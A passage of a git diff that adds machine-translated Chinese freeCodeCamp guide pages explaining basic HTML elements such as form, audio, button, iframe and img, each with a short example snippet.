+确保在所有输入上使用适当的类型属性（例如，电子邮件地址的电子邮件或数字信息的数字），以利用更新的输入控件，如电子邮件验证，数字选择等。
+
+这是一个演示Bootstrap表单样式的简单示例。继续阅读有关所需类，表单布局等的文档。
+
+#### 用法
+
+```html
+
+<form> 
+  <div class="form-group"> 
+    <label for="exampleInputEmail1">Email address</label> 
+    <input type="email" class="form-control" id="exampleInputEmail1" aria-describedby="emailHelp" placeholder="Enter email"> 
+    <small id="emailHelp" class="form-text text-muted">We'll never share your email with anyone else.</small> 
+  </div> 
+  <div class="form-group"> 
+    <label for="exampleInputPassword1">Password</label> 
+    <input type="password" class="form-control" id="exampleInputPassword1" placeholder="Password"> 
+  </div> 
+  <div class="form-check"> 
+    <label class="form-check-label"> 
+      <input type="checkbox" class="form-check-input"> 
+      Check me out 
+    </label> 
+  </div> 
+  <button type="submit" class="btn btn-primary">Submit</button> 
+ </form> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/area-tag/index.md b/client/src/guide/chinese/html/elements/area-tag/index.md
new file mode 100644
index 0000000000..3d1bc1affc
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/area-tag/index.md
@@ -0,0 +1,11 @@
+---
+title: Area Tag
+localeTitle: 区域标签
+---
+## 区域标签
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/html/elements/area-tag/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/article-tag/index.md b/client/src/guide/chinese/html/elements/article-tag/index.md
new file mode 100644
index 0000000000..0f85c62b07
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/article-tag/index.md
@@ -0,0 +1,27 @@
+---
+title: Article Tag
+localeTitle: 文章标签
+---
+## 文章标签
+
+`<article>`标记表示文档中的自包含内容。该文章应独立于页面的其余部分，旨在可分发和可重用。
+
+`<article>`标签已添加到HTML5中，并受到主流浏览器的支持。
+
+### 例
+
+以下是如何在网页中使用文章标记的示例：
+
+```html
+
+<article> 
+  <h1>FreeCodeCamp</h1> 
+  <p> 
+    Learn to code with a community of programmers and contribute to open source projects. 
+  </p> 
+ </article> 
+```
+
+#### 更多信息：
+
+[MDN](https://developer.mozilla.org/tr/docs/Web/HTML/Element/article)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/aside-tag/index.md b/client/src/guide/chinese/html/elements/aside-tag/index.md
new file mode 100644
index 0000000000..bf7a550dfd
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/aside-tag/index.md
@@ -0,0 +1,11 @@
+---
+title: Aside Tag
+localeTitle: 标签
+---
+## 标签
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/html/elements/aside-tag/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/audio-tag/index.md b/client/src/guide/chinese/html/elements/audio-tag/index.md
new file mode 100644
index 0000000000..b041b3e298
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/audio-tag/index.md
@@ -0,0 +1,53 @@
+---
+title: Audio Tag
+localeTitle: 音频标签
+---
+## 音频标签
+
+< **_audio_** >标签定义了一个音频元素，可用于将音频媒体资源添加到HTML文档中，该文档将由内置于浏览器中的音频播放而不是浏览器插件播放。
+
+音频标签目前支持三种文件格式OGG，MP3和WAV，可以添加到您的html中，如下所示。
+
+##### 添加OGG
+```
+<audio controls> 
+  <source src="file.ogg" type="audio/ogg"> 
+ </audio> 
+```
+
+##### 添加MP3
+```
+<audio controls> 
+  <source src="file.mp3" type="audio/mpeg"> 
+ </audio> 
+```
+
+##### 添加WAV
+```
+<audio controls> 
+  <source src="file.wav" type="audio/wav"> 
+ </audio> 
+```
+
+它可能包含一个或多个音频源，使用src属性或source元素表示。
+
+##### 添加多个音频文件
+```
+<audio controls> 
+  <source src="file-1.wav" type="audio/wav"> 
+  <source src="file-2.ogg" type="audio/ogg"> 
+  <source src="file-3.mp3" type="audio/mpeg"> 
+ </audio> 
+```
+
+#### 浏览器支持不同的文件类型如下
+
+|浏览器| Mp3 | Wav |奥格| |：-------：|：---：|：---：|：---：| | Internet Explorer |是的|没有|没有| |谷歌浏览器|是的|是的|是的| | Mozilla Firefox |是的|是的|是的| |野生动物园|是的|是的|无| |歌剧|是的|是的|是
+
+### 支持的属性
+
+|属性|价值|说明| |：-------：|：---：|：---：| | autoplay | autoplay |音频将在准备就绪后立即开始播放 | controls | controls | audio将被显示（例如播放/暂停按钮等）| | loop | loop | audio每次完成时都会重新开始 |静音|静音|音频输出将静音| | src | URL |指定音频文件的URL
+
+#### 更多信息：
+
+[https://www.w3schools.com/tags/tag\_audio.asp](https://www.w3schools.com/tags/tag_audio.asp) [https://html.com/tags/audio/](https://html.com/tags/audio/) [https://html.com/tags/audio/#ixzz5Sg4QbtH8](https://html.com/tags/audio/#ixzz5Sg4QbtH8)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/b-tag/index.md b/client/src/guide/chinese/html/elements/b-tag/index.md
new file mode 100644
index 0000000000..0a5389e6b2
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/b-tag/index.md
@@ -0,0 +1,24 @@
+---
+title: B Tag
+localeTitle: B天
+---
+## B标签
+
+`<b>`标签用于指定粗体文本，但不传达任何特殊重要性或相关性。在粗体化特殊重要性或相关性的文本时，建议您使用`<strong>`标记。
+
+### 例：
+
+```html
+
+<b>This text is bold</b> 
+```
+
+这将显示为：
+
+**这个文字很粗体**
+
+#### 更多信息：
+
+1.  [W3Schools的](https://www.w3schools.com/tags/tag_b.asp "<b>标签：w3schools")  
+    
+2.  [MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/b)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/base-tag/index.md b/client/src/guide/chinese/html/elements/base-tag/index.md
new file mode 100644
index 0000000000..976a851d4a
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/base-tag/index.md
@@ -0,0 +1,11 @@
+---
+title: Base Tag
+localeTitle: 基地标签
+---
+## 基地标签
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/html/elements/base-tag/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/blockquote-tag/index.md b/client/src/guide/chinese/html/elements/blockquote-tag/index.md
new file mode 100644
index 0000000000..9f65e5af84
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/blockquote-tag/index.md
@@ -0,0 +1,29 @@
+---
+title: Blockquote Tag
+localeTitle: Blockquote标签
+---
+## Blockquote标签
+
+### 目的
+
+HTML `<blockquote>`元素打破了周围内容的引用。这允许读者清楚地看到报价作为归于其原始作者的材料。
+
+### 用法
+
+就像“H”标签向读取器发送信息一样重要信息时，块引用会提醒读者他们正在读取的信息来自外部来源。 `<blockquote>`标记可以包括引用源的URL可以使用cite属性给出，而源的文本表示可以使用`<cite>`元素给出。
+
+### 例
+
+```html
+
+<blockquote cite="https://www.cnet.com/news/tim-cook-maintains-steve-jobs-beatles-business-model/"> 
+ “My model for business is The Beatles. They were four guys who kept each other's kind of negative tendencies in check. 
+ They balanced each other and the total was greater than the sum of the parts. 
+ That's how I see business: great things in business are never done by one person, they're done by a team of people.” 
+ </blockquote> 
+ <cite>Steve Jobs</cite> 
+```
+
+#### 更多信息：
+
+[blockquote MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/blockquote)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/body-tag/index.md b/client/src/guide/chinese/html/elements/body-tag/index.md
new file mode 100644
index 0000000000..fa0b8c33d2
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/body-tag/index.md
@@ -0,0 +1,25 @@
+---
+title: Body Tag
+localeTitle: 身体日
+---
+## 身体标签
+
+`<body>`标记包含网页的内容。与`<head>` ，它是HTML文档的两个必需元素之一。 `<body>`必须是`<html>`元素的第二个子元素。页面上只能有一个`<body>`元素。
+
+`<body>`元素应包含页面的所有内容，包括所有显示元素。 `<body>`元素还可以包含`<script>`标记，通常是在加载页面内容后必须运行的脚本。
+
+```html
+
+<html> 
+    <head> 
+        <title>Document Titles Belong in the Head</title> 
+    </head> 
+    <body> 
+        <p>This paragraph is content. It goes in the body!</p> 
+    </body> 
+ </html> 
+```
+
+#### 更多信息：
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/body)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/br-tag/index.md b/client/src/guide/chinese/html/elements/br-tag/index.md
new file mode 100644
index 0000000000..66dbc48b32
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/br-tag/index.md
@@ -0,0 +1,29 @@
+---
+title: Br Tag
+localeTitle: 天
+---
+## Br Tag
+
+`<br>`标记在文本中生成换行符。这对诗歌和地址很有用。
+
+### 例
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+  <body> 
+    Mozilla Foundation<br> 
+    1981 Landings Drive<br> 
+    Building K<br> 
+    Mountain View, CA 94043-0801<br> 
+    USA 
+  </body> 
+ </html> 
+```
+
+#### 更多信息：
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/br)
+
+[br tag：w3schools](https://www.w3schools.com/tags/tag_br.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/button-tag/index.md b/client/src/guide/chinese/html/elements/button-tag/index.md
new file mode 100644
index 0000000000..3804361dcb
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/button-tag/index.md
@@ -0,0 +1,56 @@
+---
+title: Button Tag
+localeTitle: 按钮标记
+---
+## 按钮标记
+
+`<button>`标记指定HTML文档上的可单击按钮。 在`<button>`标签之间，您可以放置​​内容，如文本或图像。这与使用`<input>`标签创建的按钮不同，后者仅将文本作为内容。
+
+**句法：**
+
+`<button type="submit">Click Here!</button>`
+
+**Atributes：**
+
+以下是HTML 4支持的关联属性：
+
+| **属性** | **价值** | **它做了什么** | | --- | --- | --- | |禁用|禁用|禁用按钮| |名字|名字|指定按钮的名称。该名称用于引用HTML表单，JS等按钮 |类型|按钮或重置或提交|设置按钮的类型。 `button`类型的`button`是一个简单的可点击按钮， `submit`类型提交表单数据，而`reset`类型则重置表单数据。 | |价值|文字|设置按钮的初始值。该值与表单数据一起发送。 |
+
+HTML 5支持以下额外属性：
+
+| **属性** | **价值** | **它做了什么** | | --- | --- | --- | |自动对焦|自动对焦|当页面加载时，按钮是否应自动获得焦点。例如，请参阅Google。当页面完全加载时，文本框会自动获得焦点。 | |形式| form\_id |指定按钮所属的一个或多个表单。 | |形成|网址|指定按下`submit`类型按钮后发送表单数据的位置。 | | formmethod |获取或发布|指定如何发送表单数据。仅适用于`submit`类型按钮。 | | formtarget | `_blank`或`_self`或`_parent`或`_top`或framename |指定提交表单数据后显示结果的位置。 |
+
+**例：**
+
+```html
+
+<html> 
+  <head> 
+    <title>Button Tag example</title> 
+  </head> 
+  <body> 
+    <form> 
+      First name:<br> 
+      <input type="text" name="firstname" value="Free"> 
+      <br> 
+      Last name:<br> 
+      <input type="text" name="lastname" value="CodeCamp"> 
+      <br><br> 
+      <input type="submit" value="Submit" formtarget="_self"> 
+    </form> 
+  </body> 
+ </html> 
+```
+
+所有主流浏览器都支持`<button>`标签。 `<button>`标记还支持HTML中的事件属性。 **注意：**如果使用`<button>`元素，不同的浏览器可能会发送不同的值。建议指定按钮值或使用`<input>`标签在HTML表单中创建按钮。
+
+**其他资源：**
+
+*   其他属性：
+
+| **属性** | **链接** | | --- | --- | | formenctype | https://www.w3schools.com/TAgs/att _button_ formenctype.asp | | formnovalidate | https://www.w3schools.com/TAgs/att _button_ formnovalidate.asp |
+
+*   `<input>`标签：https：//www.w3schools.com/TAgs/tag\_input.asp
+*   事件属性：https：//www.w3schools.com/TAgs/ref\_eventattributes.asp
+*   `formtarget`属性值：https：//www.w3schools.com/TAgs/att _button_ formtarget.asp
+*   HTML表格：
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/canvas-tag/index.md b/client/src/guide/chinese/html/elements/canvas-tag/index.md
new file mode 100644
index 0000000000..9df73b9c4f
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/canvas-tag/index.md
@@ -0,0 +1,11 @@
+---
+title: Canvas Tag
+localeTitle: 画布标签
+---
+## 画布标签
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/html/elements/canvas-tag/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/center-tag/index.md b/client/src/guide/chinese/html/elements/center-tag/index.md
new file mode 100644
index 0000000000..46e8cb3196
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/center-tag/index.md
@@ -0,0 +1,12 @@
+---
+title: Center Tag
+localeTitle: 中心标签
+---
+## 中心标签
+
+在HTML中， `<center>`标记用于在页面上居中显示文本。您可以将`<center>`标记写为`<center>My Text Here</center>`该功能是不推荐使用的。 `<center>`标记在HTML 4中已弃用，可以随时从Web浏览器中删除该功能。建议使用CSS `text-align`来居中文本。
+
+#### 更多信息：
+
+*   [MDN - HTML中心标记](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/center)
+*   [MDN - CSS文本对齐](https://developer.mozilla.org/en-US/docs/Web/CSS/text-align)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/code-tag/index.md b/client/src/guide/chinese/html/elements/code-tag/index.md
new file mode 100644
index 0000000000..4222e08529
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/code-tag/index.md
@@ -0,0 +1,16 @@
+---
+title: Code Tag
+localeTitle: 代码标签
+---
+## 代码标签
+
+`<code>`标记包含网页的计算机代码。默认情况下， `<code>`标记显示在浏览器的默认等宽字体中。
+
+```html
+
+<code>A piece of computer code</code> 
+```
+
+#### 更多信息：
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/code)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/comment-tag/index.md b/client/src/guide/chinese/html/elements/comment-tag/index.md
new file mode 100644
index 0000000000..484e2d6fa5
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/comment-tag/index.md
@@ -0,0 +1,32 @@
+---
+title: Comment Tag
+localeTitle: 如何标记
+---
+## 评论标签
+
+注释是用于在文档中留下注释的标签。只有开发人员才能访问评论，最终用户看不到，除非他们使用浏览器的Inspector元素进行检查。
+
+当您使用某些代码时，将提示留给其他开发人员以了解其工作内容会很有帮助。
+
+### 例
+
+```html
+
+<!-- This is a comment --> 
+```
+
+注释还可用于使代码处于非活动状态，而无需完全删除它。
+
+### 例
+
+```html
+
+<!-- 
+ <h1>Hello Campers</h1> 
+ --> 
+ <h2>Hello Friends</h2> 
+ <!-- 
+ <p>Hello Paragraph</p> 
+ --> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/div-tag/index.md b/client/src/guide/chinese/html/elements/div-tag/index.md
new file mode 100644
index 0000000000..6085baf2a1
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/div-tag/index.md
@@ -0,0 +1,25 @@
+---
+title: Div Tag
+localeTitle: Div标签
+---
+## Div标签
+
+`<div>`标记是一个通用容器，用于定义HTML文档中的一个部分。 `<div>`元素用于将HTML元素的各个部分组合在一起，并使用CSS格式化它们。 `<div>`是块级元素。这意味着它在屏幕上占据了自己的一行。 `<div>`之后的元素将被下推到下面的行。对于非块级但类似的类似分组和样式，您可以使用`<span>`标记。 标记用于对文档中的内联元素进行分组。
+
+### 例
+
+以下是如何以相同颜色显示部分的示例：
+
+```html
+
+<div style="color:#ff0000"> 
+  <h3>my heading</h3> 
+  <p>my paragraph</p> 
+ </div> 
+```
+
+#### 更多信息：
+
+[Tutorialspoint](https://www.tutorialspoint.com/html/html_div_tag.htm)
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/div)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/doctype-tag/index.md b/client/src/guide/chinese/html/elements/doctype-tag/index.md
new file mode 100644
index 0000000000..1ce0546731
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/doctype-tag/index.md
@@ -0,0 +1,27 @@
+---
+title: Doctype Tag
+localeTitle: Doctype标签
+---
+## Doctype标签
+
+HTML代码始终伴随着标签的“样板”。在任何HTML文件中找到的第一个标记必须是Doctype声明。 html5 doctype `<!DOCTYPE html>`是一个必需的前导码，用于通知浏览器使用哪种[渲染模式](https://developer.mozilla.org/en-US/docs/Quirks_Mode_and_Standards_Mode) （HTML5与XHTML）。务必将doctype放在文档的最顶部。
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+    <head> 
+        <meta charset=UTF-8> 
+        <title>Document Title</title> 
+    </head> 
+    <body> 
+        <p>Document content.</p> 
+    </body> 
+ </html> 
+```
+
+#### 更多信息：
+
+*   [Doctype：MDN](https://developer.mozilla.org/en-US/docs/Glossary/Doctype)
+*   [HTML5简介：MDN](https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/HTML5/Introduction_to_HTML5)
+*   [怪癖模式和标准模式：MDN](https://developer.mozilla.org/en-US/docs/Quirks_Mode_and_Standards_Mode)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/em-tag/index.md b/client/src/guide/chinese/html/elements/em-tag/index.md
new file mode 100644
index 0000000000..c9bc18d263
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/em-tag/index.md
@@ -0,0 +1,24 @@
+---
+title: Em Tag
+localeTitle: 在标签中
+---
+## Em Tag
+
+`<em>`标记用于强调HTML文档中的文本。这可以通过将您想要强调的文本包装在`<em>`标记中来完成。大多数浏览器会将包含在`<em>`标记中的文本呈现为斜体。
+
+注意： `<em>`标记不应用于样式化斜体文本。 `<em>`标签用于强调文本。
+
+### 例：
+```
+<body> 
+  <p> 
+    Text that requires emphasis should go <em>here</em>. 
+  </p> 
+ </body> 
+```
+
+#### 更多信息：
+
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/em)
+*   [em标签：w3schools](https://www.w3schools.com/tags/tag_em.asp)
+*   [em标签：htmlreference.io](http://htmlreference.io/element/em/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/fieldsets-and-legends/index.md b/client/src/guide/chinese/html/elements/fieldsets-and-legends/index.md
new file mode 100644
index 0000000000..d8f43303d9
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/fieldsets-and-legends/index.md
@@ -0,0 +1,11 @@
+---
+title: Fieldsets and Legends
+localeTitle: Fieldsets和Legends
+---
+#### 推荐阅读：
+
+有关可访问的表单示例，请参阅[WebAIM站点](http://webaim.org/techniques/forms/controls) - 特别是有关单选按钮的部分
+
+#### 条款草案：
+
+使用`fieldset`和`legend`元素对表单中的相关元素进行分组的说明和示例
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/font-tag/index.md b/client/src/guide/chinese/html/elements/font-tag/index.md
new file mode 100644
index 0000000000..85659211cd
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/font-tag/index.md
@@ -0,0 +1,27 @@
+---
+title: Font Tag
+localeTitle: 字体标记
+---
+## 字体标记
+
+_此功能在HTML 4.01中已弃用，在HTML 5中已删除。_
+
+HTML字体元素`<font>`定义其内容的字体大小，颜色和面。它在HTML 3.2中被标准化，但在HTML 4.01中被弃用，现在在HTML5中已经过时了。虽然它仍然可以在某些浏览器中使用，但建议停止使用它，因为它可以随时删除。可以通过CSS实现样式字体并且更好地控制，实际上所有样式都应该仅使用CSS编写。
+
+`<font>`元素的**前一种**行为：
+
+*   **颜色：**此属性允许您将文本颜色设置为命名颜色（如“蓝色”）或十六进制颜色（#RRGGBB）。
+*   **Face：**此属性允许您设置字体系列，并包含一个逗号分隔的一个或多个字体名称列表。如果浏览器不支持列表中的第一个字体，则它将移动到第二个字体。如果不支持或列出任何字体，则浏览器通常默认为该系统的字体。
+*   **大小：**此属性允许您指定字体的大小。有两种方法可以做到这一点，无论是设置数值还是相对值。数值范围从1到7,1是最小值，3是默认值。相对值（如-2或+2）设置相对于`<basefont>`元素大小的值或“3”默认值。
+
+一个例子：
+
+```html
+
+<font face="fontNameHere" size="7" color="blue">My Text Here</font> 
+```
+
+#### 更多信息：
+
+*   [MDN - HTML字体标记](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/font)
+*   [MDN - CSS字体](https://developer.mozilla.org/en-US/docs/Web/CSS/font)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/footer-tag/index.md b/client/src/guide/chinese/html/elements/footer-tag/index.md
new file mode 100644
index 0000000000..172fd6839e
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/footer-tag/index.md
@@ -0,0 +1,27 @@
+---
+title: Footer Tag
+localeTitle: 页脚标记
+---
+## 页脚标记
+
+`<footer>`标记表示HTML文档或部分的页脚。通常，页脚包含有关作者，版权信息，联系信息和站点地图的信息。 `<footer>`标记内的任何联系信息都应该放在`<address>`标记内。
+
+### 例
+
+```html
+
+<html> 
+ <head> 
+  <title>Paragraph example</title> 
+ </head> 
+ <body> 
+  <footer> 
+    <p>&copy; 2017 Joe Smith</p> 
+  </footer> 
+ </body> 
+ </html> 
+```
+
+#### 更多信息：
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/footer)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/form-tag/index.md b/client/src/guide/chinese/html/elements/form-tag/index.md
new file mode 100644
index 0000000000..3e91ca5355
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/form-tag/index.md
@@ -0,0 +1,58 @@
+---
+title: Form Tag
+localeTitle: 表格标签
+---
+## 表格标签
+
+`<form>`标签用于在HTML中创建用于用户输入的表单。一旦用户输入数据并提交数据，数据就会被发送到服务器进行处理。
+
+以下是如何使用`<form>`标记的基本示例：
+
+```html
+
+<form action="/example.php" method="get"> 
+ Name: <input type="text"><br> 
+ Email Address: <input type="text"><br> 
+ <input type="submit" value="Submit"> 
+ </form> 
+```
+
+### 动作属性
+
+每个`<form>`元素都需要一个action属性。 action属性的值是服务器上的URL，它将在提交时接收表单中的数据。
+
+以下是使用action属性的示例：
+
+```html
+
+<form action="http://www.google.com/form.php" method="get"> 
+ <p>Controls will appear inside here.</p> 
+ </form> 
+```
+
+如您所见，表单正在将其数据提交到网址[http://www.google.com/from.php](http://www.google.com/from.php) 。
+
+### 方法
+
+可以使用GET或POST方法提交表单。
+
+*   GET方法适用于较短的表单，因为它将数据附加到action属性内指定的URL的末尾。
+    
+*   POST方法适用于较长的表单，或者在数据库中添加或删除信息时。使用POST方法，表单的值将在HTTP标头中发送。
+    
+
+### 分子
+
+`<form>`元素至少具有嵌套在其中的以下元素之一：
+
+*   [`<input>`](https://guide.freecodecamp.org/html/elements/input "输入")
+*   [`<button>`](https://guide.freecodecamp.org/html/elements/button-tag "按键")
+*   [`<label>`](https://guide.freecodecamp.org/html/elements/label-tag "标签")
+*   [`<select>`](https://guide.freecodecamp.org/html/elements/select-tag "选择")
+*   [`<textarea>`](https://guide.freecodecamp.org/html/elements/textarea-tag "多行文本")
+*   [`<fieldset>`](https://guide.freecodecamp.org/html/elements/fieldsets-and-legends "字段集")
+
+### 资源
+
+*   [W3学校表格资源](https://www.w3schools.com/tags/tag_form.asp "W3学校")
+*   [Mozilla表单资源](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/form "Mozilla表格")
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/head-tag/index.md b/client/src/guide/chinese/html/elements/head-tag/index.md
new file mode 100644
index 0000000000..c742d15eeb
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/head-tag/index.md
@@ -0,0 +1,15 @@
+---
+title: Head Tag
+localeTitle: 头标记
+---
+## 头标记
+
+`<head>`标记包含有关网页的信息。与`<body>` ，它是HTML文档的两个必需元素之一。 `<head>`必须是`<html>`元素的第一个子元素。页面上只能有一个`<head>`元素。
+
+`<head>`元素包含有关如何显示网页的信息，也称为元数据。文档标题，样式表链接以及链接到JavaScript文件的`<script>`标记都应放在`<head>` 。 `<head>`不应包含任何页面内容。
+
+`html <html> <head> <title>Document Titles Belong in the Head</title> </head> <body> <p>This paragraph is content. It goes in the body!</p> </body> </html>`
+
+#### 更多信息：
+
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/head)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/header-tag/index.md b/client/src/guide/chinese/html/elements/header-tag/index.md
new file mode 100644
index 0000000000..d425de6f26
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/header-tag/index.md
@@ -0,0 +1,30 @@
+---
+title: Header Tag
+localeTitle: 标题标记
+---
+## 标题标记
+
+`<header>`标记是用于导航链接或介绍性内容的容器。 它通常可以包括标题元素，例如`<h1>` ， `<h2>` ，但也可以包括其他元素，例如搜索表单，徽标，作者信息等。
+
+# 对应最重要的标题。当我们转向其他标签时
+
+## ，
+
+### 等等，重要程度降低。 虽然不是必需的，但`<header>`标记用于包含标题的周围部分。它也可以在HTML文档中多次使用。重要的是要注意`<header>`标签不会引入新的部分，而只是部分的头部。
+
+以下是使用`<header>`标记的示例：
+
+```html
+
+<article> 
+  <header> 
+    <h1>Heading of Page</h1> 
+  </header> 
+    <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit.</p> 
+ </article> 
+```
+
+#### 更多信息：
+
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/header)
+*   [W3学校](https://www.w3schools.com/tags/tag_header.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/hr-tag/index.md b/client/src/guide/chinese/html/elements/hr-tag/index.md
new file mode 100644
index 0000000000..cbad44f7d3
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/hr-tag/index.md
@@ -0,0 +1,26 @@
+---
+title: Hr Tag
+localeTitle: 我的日子
+---
+## Hr Tag
+
+水平规则或`<hr>`是一个标记，允许插入一个divisory行，定义文档的内容。 澄清这个标签是一个主题突破非常重要;在以前版本的.html中是一个水平规则。
+
+### 例
+```
+<!DOCTYPE html> 
+ <html> 
+  <body> 
+    <h2>FreeCodeCamp</h2> 
+    <p>FreeCodeCamp is a place where you can learn to code from scratch to professional</p> 
+ 
+    <hr> 
+ 
+    <h3>How to start</h3> 
+    <p>Just go to <a href="www.freecodecamp.com">FreeCodeCamp website and start learning!</a></p> 
+ 
+    <hr> 
+  </body 
+ </html> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/i-tag/index.md b/client/src/guide/chinese/html/elements/i-tag/index.md
new file mode 100644
index 0000000000..c5ccd0f162
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/i-tag/index.md
@@ -0,0 +1,20 @@
+---
+title: I Tag
+localeTitle: 我标记
+---
+## 我标记
+
+`<i>`元素用于表示以某种方式与其周围文本分开设置的文本。默认情况下， `<i>`标记包围的文本将以斜体显​​示。
+
+在以前的HTML规范中， `<i>`标记仅用于表示要斜体的文本。但是，在现代语义HTML中，应在适当的地方使用`<em>`和`<strong>`等标记。您可以使用`<i>`元素的“class”属性来说明标记中的文本与周围文本不同的原因。您可能希望显示文本或短语来自不同的语言，如下例所示。
+
+```HTML
+<p>The French phrase <i class="french">esprit de corps</i> is often 
+ used to describe a feeling of group cohesion and fellowship.</p> 
+```
+
+#### 更多信息：
+
+*   [HTML <i>元素：MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/i)
+*   [我标记：w3schools](https://www.w3schools.com/tags/tag_i.asp)
+*   [我标记：htmlreference.io](http://htmlreference.io/element/i/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/iframe-tag/index.md b/client/src/guide/chinese/html/elements/iframe-tag/index.md
new file mode 100644
index 0000000000..5dcaf63f1c
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/iframe-tag/index.md
@@ -0,0 +1,33 @@
+---
+title: Iframe Tag
+localeTitle: Iframe标签
+---
+## Iframe标签
+
+iframe代码用于在设定的空间内将现有网页或应用添加到您的网站。
+
+使用iframe标记时，应使用src属性来指示要在框架内使用的网页或应用程序的位置。
+
+```html
+
+<iframe src="framesite/index.html"></iframe> 
+```
+
+您可以设置width和height属性以限制框架的大小。
+
+```html
+
+<iframe src="framesite/index.html" height="500" width="200"></iframe> 
+```
+
+默认情况下，iframe有边框，如果要删除它，可以使用style属性并将CSS border属性设置为none。
+
+```html
+
+<iframe src="framesite/index.html" height="500" width="200" style="border:none;"></iframe> 
+```
+
+#### 更多信息：
+
+*   [MDN - HTML iframe标记](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe)
+*   [W3 - HTML 5.2 iframe规范](https://www.w3.org/TR/html5/semantics-embedded-content.html#the-iframe-element)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/img-tag/index.md b/client/src/guide/chinese/html/elements/img-tag/index.md
new file mode 100644
index 0000000000..49362ba8e8
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/img-tag/index.md
@@ -0,0 +1,36 @@
+---
+title: Img Tag
+localeTitle: Img Tag
+---
+## Img Tag
+
+一个简单的HTML Image元素可以包含在HTML文档中，如下所示：
+
+```html
+
+<img src="path/to/image/file" alt="this is a cool picture"> 
+```
+
